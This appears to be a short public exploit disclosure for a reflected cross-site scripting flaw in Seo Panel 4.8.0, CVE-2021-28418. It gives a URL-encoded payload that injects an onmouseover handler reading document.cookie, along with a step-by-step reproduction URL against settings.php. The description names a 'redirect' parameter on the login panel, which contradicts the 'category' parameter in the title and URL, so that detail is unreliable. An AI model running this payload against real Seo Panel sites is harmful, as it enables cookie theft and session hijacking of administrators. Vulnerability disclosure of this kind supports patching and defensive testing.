Seo Panel 4.8.0 - (category) Reflected XSS Vulnerability

# Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0
# Version: Seo Panel 4.8.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-28418


-Description:
A cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the "redirect" parameter.

-Payload used:
x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22

-Steps to reproduce:
1- Login to SEO admin panel
2- Visit:
http://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22
3- Hover your mouse to "Cancel" field